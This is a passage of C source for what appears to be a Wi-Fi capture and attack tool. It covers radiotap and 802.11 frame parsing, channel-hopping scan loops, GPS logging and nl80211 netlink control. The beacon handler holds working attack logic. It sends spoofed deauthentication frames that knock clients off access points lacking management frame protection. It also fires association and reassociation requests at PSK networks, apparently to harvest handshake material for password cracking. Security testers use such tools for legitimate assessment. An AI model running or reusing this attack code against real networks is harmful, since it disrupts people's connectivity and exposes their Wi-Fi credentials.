ETH_ALEN); memcpy((aplist +i)->macclient, &macbc, ETH_ALEN); (aplist +i)->status |= AP_BEACON; tagwalk_channel_essid_rsn(&(aplist +i)->ie, beaconlen, beacon->ie); if((aplist +i)->ie.channel == 0) (aplist +i)->ie.channel = (scanlist + scanlistindex)->channel; if((aplist +i)->ie.channel != (scanlist + scanlistindex)->channel) return; (aplist +i)->frequency = (scanlist + scanlistindex)->frequency; qsort(aplist, i + 1, APLIST_SIZE, sort_aplist_by_tsakt); return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process80211beacon(void) { static size_t i; static ieee80211_beacon_proberesponse_t *beacon; static u16 beaconlen; beacon = (ieee80211_beacon_proberesponse_t*)payloadptr; if((beaconlen = payloadlen - IEEE80211_BEACON_SIZE) < IEEE80211_IETAG_SIZE) return; for(i = 0; i < APLIST_MAX - 1; i++) { if(memcmp(macfrx->addr3, (aplist +i)->macap, ETH_ALEN) != 0) continue; (aplist +i)->tsakt = tsakt; if(((aplist +i)->status & AP_BEACON) == 0) { writeepb(); tshold = tsakt; #ifdef HCXNMEAOUT if(fd_gps > 0) writegpwpl(i); #endif (aplist +i)->status |= AP_BEACON; } if((aplist +i)->status >= AP_EAPOL_M3) return; tagwalk_channel_essid_rsn(&(aplist +i)->ie, beaconlen, beacon->ie); if((aplist +i)->ie.channel == 0) (aplist +i)->ie.channel = (scanlist + scanlistindex)->channel; if((aplist +i)->ie.channel != (scanlist + scanlistindex)->channel) return; if((aplist +i)->tsakt - (aplist +i)->tshold1 > TIMEBEACONNEW) { (aplist +i)->count = attemptapmax; memcpy((aplist +i)->macclient, &macbc, ETH_ALEN); (aplist +i)->tshold1 = tsakt; } if((aplist +i)->count == 0) return; if(associationflag == true) { if(((aplist +i)->count % 8) == 6) { if(((aplist +i)->status & AP_EAPOL_M1) == 0) { if(((aplist +i)->status & AP_ESSID) == AP_ESSID) { if(((aplist +i)->ie.flags & APRSNAKM_PSK) != 0) send_80211_authenticationrequest(); } } } } if(deauthenticationflag == true) { if(((aplist +i)->count % 8) == 4) { if(((aplist +i)->ie.flags & AP_MFP) == 0) { if(((aplist +i)->ie.flags & APAKM_MASK) != 0) { if(memcmp(&macbc, (aplist +i)->macclient, ETH_ALEN) != 0) { send_80211_deauthentication_fm_ap((aplist +i)->macclient, (aplist +i)->macap, WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA); send_80211_deauthentication_fm_client((aplist +i)->macclient, (aplist +i)->macap, WLAN_REASON_DEAUTH_LEAVING); } else send_80211_deauthentication_fm_ap(macbc, (aplist +i)->macap, WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA); } } } } if(reassociationflag == true) { if(((aplist +i)->count % 8) == 2) { if(((aplist +i)->ie.flags & APRSNAKM_PSK) != 0) send_80211_associationrequest_org(i); } if(((aplist +i)->count % 8) == 0) { if(((aplist +i)->ie.flags & APRSNAKM_PSK) != 0) send_80211_reassociationrequest(i); } } (aplist +i)->count -= 1; return; } memset((aplist + i), 0, APLIST_SIZE); (aplist +i)->tsakt = tsakt; (aplist +i)->tshold1 = tsakt; (aplist +i)->tsauth = tsfirst; (aplist +i)->count = attemptapmax; memcpy((aplist +i)->macap, macfrx->addr3, ETH_ALEN); memcpy((aplist +i)->macclient, &macbc, ETH_ALEN); (aplist +i)->status |= AP_BEACON; tagwalk_channel_essid_rsn(&(aplist +i)->ie, beaconlen, beacon->ie); if((aplist +i)->ie.channel == 0) (aplist +i)->ie.channel = (scanlist + scanlistindex)->channel; if((aplist +i)->ie.channel != (scanlist + scanlistindex)->channel) return; if(((aplist +i)->ie.flags & APIE_ESSID) == APIE_ESSID) (aplist +i)->status |= AP_ESSID; if(deauthenticationflag == true) { if(((aplist +i)->ie.flags & AP_MFP) == 0) { if(((aplist +i)->ie.flags & APAKM_MASK) != 0) send_80211_deauthentication_fm_ap(macbc, (aplist +i)->macap, WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA); } } if(associationflag == true) { if((((aplist +i)->ie.flags & APRSNAKM_PSK) != 0) && (((aplist +i)->ie.flags & APIE_ESSID) == 0)) send_80211_authenticationrequest(); } if(proberequestflag == true) { if(((aplist +i)->ie.flags & APIE_ESSID) == 0) send_80211_proberequest_undirected(); } if(reassociationflag == true) { if(((aplist +i)->ie.flags & APRSNAKM_PSK) != 0) send_80211_associationrequest_org(i); } writeepb(); #ifdef HCXNMEAOUT if(fd_gps > 0) writegpwpl(i); #endif qsort(aplist, i + 1, APLIST_SIZE, sort_aplist_by_tsakt); tshold = tsakt; return; } /*===========================================================================*/ /*===========================================================================*/ #ifdef HCXNMEAOUT static inline __attribute__((always_inline)) void process_nmea0183(void) { static char *nmeaptr; static const char *gprmcid = "$GPRMC,"; static const char *gpggaid = "$GPGGA,"; if((nmealen = read(fd_gps, nmeabuffer, NMEA_SIZE)) < NMEA_MIN) { if(packetlen == - 1) errorcount++; return; } nmeapacketcount++; nmeabuffer[nmealen] = 0; if((nmeaptr = strstr(nmeabuffer, gprmcid)) != NULL) { gprmclen = 0; while(gprmclen < (NMEA_MSG_MAX -2)) { if(nmeaptr[gprmclen] == '*') { gprmclen += NMEA_CS_CR_LF_SIZE; memcpy(&gprmc, nmeaptr, gprmclen); break; } gprmclen++; } } if((nmeaptr = strstr(nmeabuffer, gpggaid)) != NULL) { gpggalen = 0; while(gpggalen < (NMEA_MSG_MAX -2)) { if(nmeaptr[gpggalen] == '*') { gpggalen += NMEA_CS_CR_LF_SIZE; memcpy(&gpgga, nmeaptr, gpggalen); return; } gpggalen++; } } return; } #endif /*===========================================================================*/ static inline __attribute__((always_inline)) void process_packet_rca(void) { if((packetlen = read(fd_socket_rx, packetptr, PCAPNG_SNAPLEN)) < RTHRX_SIZE) { if(packetlen == - 1) errorcount++; return; } rth = (rth_t*)packetptr; if((__hcx32le(rth->it_present) & IEEE80211_RADIOTAP_DBM_ANTSIGNAL) == 0) return; if(__hcx16le(rth->it_len) > packetlen) { errorcount++; return; } ieee82011ptr = packetptr + __hcx16le(rth->it_len); ieee82011len = packetlen - __hcx16le(rth->it_len); if(ieee82011len <= MAC_SIZE_RTS) return; macfrx = (ieee80211_mac_t*)ieee82011ptr; if((macfrx->from_ds == 1) && (macfrx->to_ds == 1)) { payloadptr = ieee82011ptr +MAC_SIZE_LONG; payloadlen = ieee82011len -MAC_SIZE_LONG; } else { payloadptr = ieee82011ptr +MAC_SIZE_NORM; payloadlen = ieee82011len -MAC_SIZE_NORM; } clock_gettime(CLOCK_REALTIME, &tspecakt); tsakt = ((u64)tspecakt.tv_sec * 1000000000ULL) + tspecakt.tv_nsec; packetcount++; if(macfrx->type == IEEE80211_FTYPE_MGMT) { if(macfrx->subtype == IEEE80211_STYPE_BEACON) process80211beacon_rca(); else if(macfrx->subtype == IEEE80211_STYPE_PROBE_RESP) process80211proberesponse_rca(); } return; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) void process_packet(void) { if((packetlen = read(fd_socket_rx, packetptr, PCAPNG_SNAPLEN)) < RTHRX_SIZE) { if(packetlen == -1) errorcount++; return; } rth = (rth_t*)packetptr; if((__hcx32le(rth->it_present) & IEEE80211_RADIOTAP_DBM_ANTSIGNAL) == 0) return; if(__hcx16le(rth->it_len) > packetlen) { errorcount++; return; } ieee82011ptr = packetptr + __hcx16le(rth->it_len); ieee82011len = packetlen - __hcx16le(rth->it_len); if(ieee82011len <= MAC_SIZE_RTS) return; macfrx = (ieee80211_mac_t*)ieee82011ptr; if((macfrx->from_ds == 1) && (macfrx->to_ds == 1)) { payloadptr = ieee82011ptr +MAC_SIZE_LONG; payloadlen = ieee82011len -MAC_SIZE_LONG; } else { payloadptr = ieee82011ptr +MAC_SIZE_NORM; payloadlen = ieee82011len -MAC_SIZE_NORM; } clock_gettime(CLOCK_REALTIME, &tspecakt); tsakt = ((u64)tspecakt.tv_sec * 1000000000ULL) + tspecakt.tv_nsec; packetcount++; if(macfrx->type == IEEE80211_FTYPE_MGMT) { if(macfrx->subtype == IEEE80211_STYPE_BEACON) process80211beacon(); else if(macfrx->subtype == IEEE80211_STYPE_PROBE_RESP) process80211proberesponse(); else if(macfrx->subtype == IEEE80211_STYPE_PROBE_REQ) { if(memcmp(&macbc, macfrx->addr3, ETH_ALEN) == 0) process80211proberequest_undirected(); else process80211proberequest_directed(); } else if(macfrx->subtype == IEEE80211_STYPE_AUTH) process80211authentication(); else if(macfrx->subtype == IEEE80211_STYPE_ASSOC_REQ) process80211associationrequest(); else if(macfrx->subtype == IEEE80211_STYPE_ASSOC_RESP) process80211associationresponse(); else if(macfrx->subtype == IEEE80211_STYPE_REASSOC_REQ)process80211reassociationrequest(); else if(macfrx->subtype == IEEE80211_STYPE_REASSOC_RESP) process80211reassociationresponse(); else if(macfrx->subtype == IEEE80211_STYPE_ACTION) process80211action(); } else if(macfrx->type == IEEE80211_FTYPE_CTL) { if(macfrx->subtype == IEEE80211_STYPE_BACK) process80211blockack(); else if(macfrx->subtype == IEEE80211_STYPE_BACK) process80211blockackreq(); else if(macfrx->subtype == IEEE80211_STYPE_PSPOLL) process80211pspoll(); } else if(macfrx->type == IEEE80211_FTYPE_DATA) { if((macfrx->subtype &IEEE80211_STYPE_QOS_DATA) == IEEE80211_STYPE_QOS_DATA) { payloadptr += IEEE80211_QOS_SIZE; payloadlen -= IEEE80211_QOS_SIZE; } if(payloadlen > IEEE80211_LLC_SIZE) { llcptr = payloadptr; llc = (ieee80211_llc_t*)llcptr; if((__hcx16be(llc->type) == LLC_TYPE_AUTH) && (llc->dsap == IEEE80211_LLC_SNAP) && (llc->ssap == IEEE80211_LLC_SNAP)) process80211eapauthentication(); } if((macfrx->subtype &IEEE80211_STYPE_QOS_NULLFUNC) == IEEE80211_STYPE_QOS_NULLFUNC) process80211qosnull(); else if((macfrx->subtype &IEEE80211_STYPE_NULLFUNC) == IEEE80211_STYPE_NULLFUNC) process80211null(); else if((macfrx->subtype &IEEE80211_STYPE_QOS_DATA) == IEEE80211_STYPE_QOS_DATA) process80211qosdata(); } return; } /*===========================================================================*/ /*===========================================================================*/ /* MAIN SCAN LOOP */ static bool nl_scanloop(void) { static ssize_t i; static int fd_epoll = 0; static int epi = 0; static int epret = 0; static struct epoll_event ev, events[EPOLL_EVENTS_MAX]; static size_t packetcountlast = 0; static u64 timer1count; static struct timespec sleepled; if((fd_epoll= epoll_create(1)) < 0) return false; ev.data.fd = fd_socket_rx; ev.events = EPOLLIN; if(epoll_ctl(fd_epoll, EPOLL_CTL_ADD, fd_socket_rx, &ev) < 0) return false; epi++; ev.data.fd = fd_timer1; ev.events = EPOLLIN; if(epoll_ctl(fd_epoll, EPOLL_CTL_ADD, fd_timer1, &ev) < 0) return false; epi++; #ifdef HCXNMEAOUT if(fd_gps > 0) { ev.data.fd = fd_gps; ev.events = EPOLLIN; if(epoll_ctl(fd_epoll, EPOLL_CTL_ADD, fd_gps, &ev) < 0) return false; epi++; } #endif sleepled.tv_sec = 0; sleepled.tv_nsec = GPIO_LED_DELAY; while(!wanteventflag) { if(errorcount > errorcountmax) wanteventflag |= EXIT_ON_ERROR; epret = epoll_pwait(fd_epoll, events, epi, timerwaitnd, NULL); if(epret == -1) { if(errno != EINTR) { #ifdef HCXDEBUG fprintf(fh_debug, "epret: %s\n", strerror(errno)); #endif errorcount++; } continue; } for(i = 0; i < epret; i++) { if(events[i].data.fd == fd_socket_rx) process_packet(); else if(events[i].data.fd == fd_timer1) { if(read(fd_timer1, &timer1count, sizeof(u64)) == -1) errorcount++; lifetime++; clock_gettime(CLOCK_REALTIME, &tspecakt); tsakt = ((u64)tspecakt.tv_sec * 1000000000ULL) + tspecakt.tv_nsec; #ifdef HCXSTATUSOUT show_realtime(); #endif if((tsakt - tshold) > timehold) { scanlistindex++; if(nl_set_frequency() == false) errorcount++; tshold = tsakt; } #ifdef HCXNMEAOUT if(((lifetime % 2) == 0) && (nmea2pcapflag == true)) { if((gpggalen > 2) || (gprmclen > 2)) writecbnmea(); } #endif if((lifetime % 10) == 0) { if(gpiostatusled > 0) { GPIO_SET = 1 << gpiostatusled; nanosleep(&sleepled, NULL); GPIO_CLR = 1 << gpiostatusled; } if(gpiobutton > 0) { if(GET_GPIO(gpiobutton) > 0) { wanteventflag |= EXIT_ON_GPIOBUTTON; if(gpiostatusled > 0) GPIO_SET = 1 << gpiostatusled; } } if(errortxcount > errorcountmax) wanteventflag |= EXIT_ON_ERROR; } if((tottime > 0) && (lifetime >= tottime)) wanteventflag |= EXIT_ON_TOT; if((lifetime % watchdogcountmax) == 0) { if(packetcount == packetcountlast) wanteventflag |= EXIT_ON_WATCHDOG; packetcountlast = packetcount; } if(beaconoffflag == false) send_80211_beacon(); } #ifdef HCXNMEAOUT else if(events[i].data.fd == fd_gps) process_nmea0183(); #endif } } return true; } /*===========================================================================*/ /* RCA SCAN LOOP */ static bool nl_scanloop_rca(const char *rcatypeflag) { static ssize_t i; static int fd_epoll = 0; static int epi = 0; static int epret = 0; static struct epoll_event ev, events[EPOLL_EVENTS_MAX]; static size_t packetcountlast = 0; static u64 timer1count; static struct timespec sleepled; tottime *= 5; if((fd_epoll= epoll_create(1)) < 0) return false; ev.data.fd = fd_socket_rx; ev.events = EPOLLIN; if(epoll_ctl(fd_epoll, EPOLL_CTL_ADD, fd_socket_rx, &ev) < 0) return false; epi++; ev.data.fd = fd_timer1; ev.events = EPOLLIN; if(epoll_ctl(fd_epoll, EPOLL_CTL_ADD, fd_timer1, &ev) < 0) return false; epi++; sleepled.tv_sec = 0; sleepled.tv_nsec = GPIO_LED_DELAY; while(!wanteventflag) { if(errorcount > errorcountmax) wanteventflag |= EXIT_ON_ERROR; epret = epoll_pwait(fd_epoll, events, epi, timerwaitnd, NULL); if(epret == -1) { if(errno != EINTR) errorcount++; continue; } for(i = 0; i < epret; i++) { if(events[i].data.fd == fd_socket_rx) process_packet_rca(); else if(events[i].data.fd == fd_timer1) { if(read(fd_timer1, &timer1count, sizeof(u64)) == -1) errorcount++; lifetime++; clock_gettime(CLOCK_REALTIME, &tspecakt); tsakt = ((u64)tspecakt.tv_sec * 1000000000ULL) + tspecakt.tv_nsec; if((lifetime % 5) == 0) show_realtime_rca(); if((lifetime % 2) == 0) { scanlistindex++; if(nl_set_frequency() == false) errorcount++; } if(rcatypeflag[0] == 'a') { send_80211_proberequest_undirected(); packetrcatxcount += 1; } if((lifetime % 10) == 0) { if(gpiostatusled > 0) { GPIO_SET = 1 << gpiostatusled; nanosleep(&sleepled, NULL); GPIO_CLR = 1 << gpiostatusled; } if(gpiobutton > 0) { if(GET_GPIO(gpiobutton) > 0) { wanteventflag |= EXIT_ON_GPIOBUTTON; if(gpiostatusled > 0) GPIO_SET = 1 << gpiostatusled; } } } if((tottime > 0) && (lifetime >= tottime)) wanteventflag |= EXIT_ON_TOT; if((lifetime % watchdogcountmax) == 0) { if(packetcount == packetcountlast) wanteventflag |= EXIT_ON_WATCHDOG; packetcountlast = packetcount; } } } } return true; } /*===========================================================================*/ /*===========================================================================*/ /* NETLINK */ static struct nlattr *nla_next(const struct nlattr *nla, int *remaining) { int totlen = NLA_ALIGN(nla->nla_len); *remaining -= totlen; return (struct nlattr*)((u8*)nla + totlen); } /*---------------------------------------------------------------------------*/ static int nla_ok(const struct nlattr *nla, int remaining) { size_t r = remaining; return r >= sizeof(*nla) && nla->nla_len >= sizeof(*nla) && nla->nla_len <= r; } /*---------------------------------------------------------------------------*/ static int nla_datalen(const struct nlattr *nla) { return nla->nla_len - NLA_HDRLEN; } /*---------------------------------------------------------------------------*/ static void *nla_data(const struct nlattr *nla) { return (u8*)nla + NLA_HDRLEN; } /*---------------------------------------------------------------------------*/ static void nl_get_supported_bands(interface_t *ipl, struct nlattr* nla) { static int nlanremlen; static struct nlattr *nlai, *nlan; static frequencylist_t *freql; nlai = (struct nlattr*)nla_data(nla); nlan = (struct nlattr*)nla_data(nlai); if(nlan->nla_type != NL80211_BAND_ATTR_FREQS) return; nlai = (struct nlattr*)nla_data(nlan); nlanremlen = nlai->nla_len - sizeof(struct nlattr); nlan = (struct nlattr*)nla_data(nlai); freql = ipl->frequencylist; if(ipl->i > FREQUENCYLIST_MAX -1) return; (freql + ipl->i)->frequency = 0; (freql + ipl->i)->pwr = 0; (freql + ipl->i)->status = 0; while(nla_ok(nlan, nlanremlen)) { if(nlan->nla_type == NL80211_FREQUENCY_ATTR_FREQ) { (freql + ipl->i)->frequency = *((u32*)nla_data(nlan)); (freql + ipl->i)->channel = frequency_to_channel((freql + ipl->i)->frequency); if((freql + ipl->i)->channel == 0) (freql + ipl->i)->frequency = 0; } else if(nlan->nla_type == NL80211_FREQUENCY_ATTR_MAX_TX_POWER) (freql + ipl->i)->pwr = *((u32*)nla_data(nlan)); else if(nlan->nla_type == NL80211_FREQUENCY_ATTR_DISABLED) (freql + ipl->i)->status = IF_STAT_FREQ_DISABLED; nlan = nla_next(nlan, &nlanremlen); } if((freql + ipl->i)->frequency != 0) ipl->i++; return; } /*---------------------------------------------------------------------------*/ static u8 nl_get_supported_iftypes(struct nlattr* nla) { struct nlattr *pos = (struct nlattr*)nla_data(nla); int nestremlen = nla_datalen(nla); while(nla_ok(pos, nestremlen)) { if(pos->nla_type == NL80211_IFTYPE_MONITOR) return IF_HAS_MONITOR; pos = nla_next(pos, &nestremlen); } return 0; } /*---------------------------------------------------------------------------*/ static bool nl_get_interfacelist(void) { static ssize_t i; static size_t ii; static ssize_t msglen; static int nlremlen = 0; static u32 ifindex; static u32 wiphy; static struct nlmsghdr *nlh; static struct genlmsghdr *glh; static struct nlattr *nla; static struct nlmsgerr *nle; static char ifname[IF_NAMESIZE]; static u8 vimac[ETH_ALEN]; i = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = nlfamily; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); glh = (struct genlmsghdr*)(nltxbuffer + i); glh->cmd = NL80211_CMD_GET_INTERFACE; glh->version = 1; glh->reserved = 0; i += sizeof(struct genlmsghdr); nlh->nlmsg_len = i; if((write(fd_socket_nl, nltxbuffer, i)) != i) return false; ii = 0; while(1) { msglen = read(fd_socket_nl, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return true; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; nlfamily = 0; return false; } glh = (struct genlmsghdr*)NLMSG_DATA(nlh); if(glh->cmd != NL80211_CMD_NEW_INTERFACE) continue; nla = (struct nlattr*)((unsigned char*)NLMSG_DATA(nlh) + sizeof(struct genlmsghdr)); nlremlen = NLMSG_PAYLOAD(nlh, 0) -4; while(nla_ok(nla, nlremlen)) { if(nla->nla_type == NL80211_ATTR_IFINDEX) ifindex = *((u32*)nla_data(nla)); if(nla->nla_type == NL80211_ATTR_IFNAME) strncpy(ifname, nla_data(nla), IF_NAMESIZE -1); if(nla->nla_type == NL80211_ATTR_WIPHY) { wiphy = *((u32*)nla_data(nla)); } if(nla->nla_type == NL80211_ATTR_MAC) { if(nla->nla_len == 10) memcpy(vimac, nla_data(nla), ETH_ALEN); } nla = nla_next(nla, &nlremlen); } for(ii = 0; ii < INTERFACELIST_MAX; ii++) { if((ifpresentlist + ii)->wiphy == wiphy) { (ifpresentlist + ii)->index = ifindex; strncpy((ifpresentlist + ii)->name, ifname, IF_NAMESIZE); memcpy((ifpresentlist + ii)->vimac, &vimac, ETH_ALEN); break; } } } } return false; } /*---------------------------------------------------------------------------*/ static bool nl_get_interfacestatus(void) { static ssize_t i; static ssize_t msglen; static int nlremlen = 0; static struct nlmsghdr *nlh; static struct genlmsghdr *glh; static struct nlattr *nla; static struct nlmsgerr *nle; i = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = nlfamily; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); glh = (struct genlmsghdr*)(nltxbuffer + i); glh->cmd = NL80211_CMD_GET_INTERFACE; glh->version = 1; glh->reserved = 0; i += sizeof(struct genlmsghdr); nla = (struct nlattr*)(nltxbuffer + i); nla->nla_len = 8; nla->nla_type = NL80211_ATTR_IFINDEX; *(u32*)nla_data(nla) = ifaktindex; i += 8; nlh->nlmsg_len = i; if((write(fd_socket_nl, nltxbuffer, i)) != i) return false; while(1) { msglen = read(fd_socket_nl, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return true; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; nlfamily = 0; return false; } glh = (struct genlmsghdr*)NLMSG_DATA(nlh); if(glh->cmd != NL80211_CMD_NEW_INTERFACE) continue; nla = (struct nlattr*)((unsigned char*)NLMSG_DATA(nlh) + sizeof(struct genlmsghdr)); nlremlen = NLMSG_PAYLOAD(nlh, 0) -4; while(nla_ok(nla, nlremlen)) { if(nla->nla_type == NL80211_ATTR_IFTYPE) { if(*((u32*)nla_data(nla)) == NL80211_IFTYPE_MONITOR) ifaktstatus |= IF_STAT_MONITOR; } nla = nla_next(nla, &nlremlen); } } } return false; } /*---------------------------------------------------------------------------*/ static bool nl_get_regulatorydomain(void) { static ssize_t i; static ssize_t msglen; static int nlremlen = 0; static struct nlmsghdr *nlh; static struct genlmsghdr *glh; static struct nlattr *nla; static struct nlmsgerr *nle; country[0] = 0; country[1] = 0; country[2] = 0; i = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = nlfamily; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); glh = (struct genlmsghdr*)(nltxbuffer + i); glh->cmd = NL80211_CMD_GET_REG; glh->version = 1; glh->reserved = 0; i += sizeof(struct genlmsghdr); nlh->nlmsg_len = i; if((write(fd_socket_nl, nltxbuffer, i)) != i) return false; while(1) { msglen = read(fd_socket_nl, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return true; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; nlfamily = 0; return false; } glh = (struct genlmsghdr*)NLMSG_DATA(nlh); if(glh->cmd != NL80211_CMD_GET_REG) continue; nla = (struct nlattr*)((unsigned char*)NLMSG_DATA(nlh) + sizeof(struct genlmsghdr)); nlremlen = NLMSG_PAYLOAD(nlh, 0) -4; while(nla_ok(nla, nlremlen)) { if(nla->nla_type == NL80211_ATTR_REG_ALPHA2) { if(nla->nla_len == 7) memcpy(country, nla_data(nla), 2); } nla = nla_next(nla, &nlremlen); } } } return false; } /*---------------------------------------------------------------------------*/ static bool nl_get_interfacecapabilities(void) { static ssize_t i; static ssize_t ii; static ssize_t msglen; static int nlremlen; static size_t dnlen; static struct nlmsghdr *nlh; static struct genlmsghdr *glh; static struct nlattr *nla; static struct nlmsgerr *nle; static char *drivername = NULL; static char driverfmt[DRIVER_FORMAT] = { 0 }; static char driverlink[DRIVER_LINK] = { 0 }; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = nlfamily; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); glh = (struct genlmsghdr*)(nltxbuffer + i); glh->cmd = NL80211_CMD_GET_WIPHY; glh->version = 1; glh->reserved = 0; i += sizeof(struct genlmsghdr); nla = (struct nlattr*)(nltxbuffer + i); nla->nla_len = 4; nla->nla_type = NL80211_ATTR_SPLIT_WIPHY_DUMP; *(u32*)nla_data(nla) = ifaktindex; i += 4; nlh->nlmsg_len = i; if((write(fd_socket_nl, nltxbuffer, i)) != i) return false; ii = 0; while(1) { msglen = read(fd_socket_nl, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return true; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; return false; } nlremlen = 0; glh = (struct genlmsghdr*)NLMSG_DATA(nlh); if(glh->cmd != NL80211_CMD_NEW_WIPHY) continue; nla = (struct nlattr*)((unsigned char*)NLMSG_DATA(nlh) + sizeof(struct genlmsghdr)); nlremlen = NLMSG_PAYLOAD(nlh, 0) -4; while(nla_ok(nla, nlremlen)) { if(nla->nla_type == NL80211_ATTR_WIPHY) { (ifpresentlist + ii)->wiphy = *((u32*)nla_data(nla)); snprintf(driverfmt, DRIVER_FORMAT, "/sys/class/ieee80211/phy%d/device/driver", (ifpresentlist + ii)->wiphy); memset(&driverlink, 0, DRIVER_LINK); if((dnlen = readlink(driverfmt, driverlink, DRIVER_LINK)) > 0) { drivername = basename(driverlink); if(drivername != NULL) strncpy((ifpresentlist + ii)->driver, drivername, DRIVERNAME_MAX -1); } } if(nla->nla_type == NL80211_ATTR_SUPPORTED_IFTYPES) { (ifpresentlist + ii)->type |= nl_get_supported_iftypes(nla); (ifpresentlist + ii)->type |= IF_HAS_NETLINK; } if(nla->nla_type == NL80211_ATTR_WIPHY_BANDS) nl_get_supported_bands((ifpresentlist + ii), nla); if(nla->nla_type == NL80211_ATTR_FEATURE_FLAGS) { if((*((u32*)nla_data(nla)) & NL80211_FEATURE_ACTIVE_MONITOR) == NL80211_FEATURE_ACTIVE_MONITOR) (ifpresentlist + ii)->type |= IF_HAS_MONITOR_ACTIVE; } nla = nla_next(nla, &nlremlen); } } if(ii < INTERFACELIST_MAX) ii++; } return false; } /*---------------------------------------------------------------------------*/ static inline __attribute__((always_inline)) bool nl_set_frequency(void) { static ssize_t i; static ssize_t msglen; static struct nlmsghdr *nlh; static struct genlmsghdr *glh; static struct nlattr *nla; static struct nlmsgerr *nle; i = 0; if(((scanlist + scanlistindex)->frequency) == 0) scanlistindex = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = nlfamily; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); glh = (struct genlmsghdr*)(nltxbuffer + i); glh->cmd = NL80211_CMD_SET_WIPHY; glh->version = 1; glh->reserved = 0; i += sizeof(struct genlmsghdr); nla = (struct nlattr*)(nltxbuffer + i); nla->nla_len = 8; nla->nla_type = NL80211_ATTR_IFINDEX; *(u32*)nla_data(nla) = ifaktindex; i += 8; nla = (struct nlattr*)(nltxbuffer + i); nla->nla_len = 8; nla->nla_type = NL80211_ATTR_WIPHY_FREQ; *(u32*)nla_data(nla) = (scanlist + scanlistindex)->frequency; i += 8; nlh->nlmsg_len = i; if((write(fd_socket_nl, nltxbuffer, i)) != i) { #ifdef HCXDEBUG fprintf(fh_debug, "nl_set_frequency failed: %s\n", strerror(errno)); #endif return false; } while(1) { msglen = read(fd_socket_nl, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return true; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; return false; } } } return false; } /*---------------------------------------------------------------------------*/ static inline void nl_set_powersave_off(void) { static ssize_t i; static ssize_t msglen; static struct nlmsghdr *nlh; static struct genlmsghdr *glh; static struct nlattr *nla; static struct nlmsgerr *nle; i = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = nlfamily; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); glh = (struct genlmsghdr*)(nltxbuffer + i); glh->cmd = NL80211_CMD_SET_INTERFACE; glh->version = 1; glh->reserved = 0; i += sizeof(struct genlmsghdr); nla = (struct nlattr*)(nltxbuffer + i); nla->nla_len = 8; nla->nla_type = NL80211_ATTR_IFINDEX; *(u32*)nla_data(nla) = ifaktindex; i += 8; nla = (struct nlattr*)(nltxbuffer + i); nla->nla_len = 8; nla->nla_type = NL80211_ATTR_PS_STATE; *(u32*)nla_data(nla) = NL80211_PS_DISABLED; i += 8; nlh->nlmsg_len = i; 